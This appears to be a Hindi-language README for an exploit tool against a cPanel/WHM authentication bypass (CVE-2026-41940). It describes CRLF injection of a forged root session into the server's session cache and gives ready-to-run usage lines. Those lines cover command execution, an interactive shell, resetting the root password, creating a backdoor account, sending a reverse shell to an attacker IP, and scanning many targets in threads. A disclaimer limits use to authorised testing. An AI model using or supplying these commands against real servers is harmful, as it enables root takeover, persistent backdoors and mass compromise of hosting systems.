CVE-2026-41940: cPanel/WHM प्रमाणीकरण बायपास (एकल और मल्टी-टारगेट)
अस्वीकरण: यह दस्तावेज़ और संबद्ध स्क्रिप्ट (exploit.py) केवल शैक्षिक उद्देश्यों, सुरक्षा अनुसंधान और अधिकृत पेनिट्रेशन परीक्षण के लिए प्रदान की गई हैं। इस सॉफ़्टवेयर का उपयोग उन सिस्टमों के विरुद्ध न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट अनुमति नहीं है।
अवलोकन
exploit.py एक स्क्रिप्ट है जो cPanel और WHM में प्रमाणीकरण बायपास भेद्यता (CVE-2026-41940) का प्रदर्शन करती है। यह भेद्यता एक अनधिकृत हमलावर को CRLF इंजेक्शन दोष के माध्यम से डेमन कैश में रूट सत्र (root session) इंजेक्ट करने की अनुमति देती है, जिससे अंततः वैध क्रेडेंशियल की आवश्यकता के बिना रूट-स्तरीय WHM पहुंच प्राप्त होती है।
भेद्यता विश्लेषण और एक्सप्लॉइट प्रवाह
एक्सप्लॉइट बेसिक प्रमाणीकरण हैंडलिंग तंत्र के भीतर CRLF (कैरिज रिटर्न लाइन फीड) इंजेक्शन भेद्यता का लाभ उठाता है, जो सत्र प्रसार (session propagation) दोष के साथ संयुक्त है। स्क्रिप्ट इस हमले को चार चरणों में स्वचालित करती है:
- प्री-ऑथ सत्र मिंटिंग: बेसलाइन अनधिकृत सत्र कुकी (
whostmgrsession) प्राप्त करने के लिए सार्वजनिक लॉगिन एंडपॉइंट्स (जैसे, /login/ या /cgi/login.cgi) से कनेक्ट होता है।
- CRLF इंजेक्शन: Base64-एन्कोडेड पेलोड युक्त एक क्राफ्टेड बेसिक प्रमाणीकरण हेडर भेजता है जो रूट सत्र फ़ील्ड्स को सीधे
cpsrvd सत्र कैश में इंजेक्ट करता है। सर्वर का रीडायरेक्ट प्रतिक्रिया उत्पन्न सुरक्षा टोकन (cpsess) को लीक कर देती है।
- सत्र प्रसार: कच्ची सत्र कुकी को एक प्रमाणित WHM एंडपॉइंट पर भेजा जाता है, जिससे
do_token_denied डेमन कैश में फोर्ज किए गए सत्र का प्रसार करता है — इसे एक वैध प्रमाणित सत्र बना देता है।
- सत्यापन: रूट-स्तरीय पहुंच की पुष्टि करने के लिए फोर्ज किए गए सत्र का उपयोग करके प्रतिबंधित WHM API एंडपॉइंट्स (जैसे,
/json-api/version) तक पहुंचता है।
आवश्यक शर्तें
- Python 3.x
requests लाइब्रेरी
उपयोग
python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]
तर्क (Arguments)
टारगेट चयन
| Argument | Description |
|---|
--target URL | एकल WHM URL (जैसे, https://target:2087) |
--target-file FILE | टारगेट्स वाली फ़ाइल (प्रति पंक्ति एक ip:port) — स्वतः चेक मोड सक्षम करता है |
नेटवर्क और कोर विकल्प
एक्सप्लॉइटेशन विकल्प (बायपास के बाद)
आउटपुट विकल्प
| Argument | Description |
|---|
--output FILE | सत्र टोकन और विवरण को JSON फ़ाइल में सहेजें |
उदाहरण
# जाँचें कि टारगेट भेद्य है या नहीं
python exploit.py --target https://target:2087 --check
# सर्वर जानकारी डंप करें (संस्करण, खाते, विशेषाधिकार)
python exploit.py --target https://target:2087 --dump
# वन-क्लिक रूट लॉगिन URL उत्पन्न करें (ब्राउज़र में तुरंत पेस्ट करें)
python exploit.py --target https://target:2087 --session
# कमांड निष्पादित करें
python exploit.py --target https://target:2087 --exec "id"
# इंटरैक्टिव WHM शेल में प्रवेश करें
python exploit.py --target https://target:2087 --shell
# रूट पासवर्ड बदलें
python exploit.py --target https://target:2087 --password 'NewP@ss!'
# WHM API को सीधे कॉल करें
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1
# बैकडोर cPanel खाता बनाएँ
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com
# रिवर्स शेल भेजें
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444
# होस्टनाम ओवरराइड करें (जब ऑटो-डिस्कवरी विफल हो तब उपयोग करें)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check
# कई टारगेट्स स्कैन करें (केवल-जांच मोड)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20
# सत्र को फ़ाइल में सहेजें
python exploit.py --target https://target:2087 --dump --output results.json
इंटरैक्टिव शेल कमांड
--shell का उपयोग करते समय, निम्नलिखित कमांड उपलब्ध हैं:
अनुस्मारक
नवीनतम cPanel/WHM सुरक्षा पैच तुरंत अपडेट करें।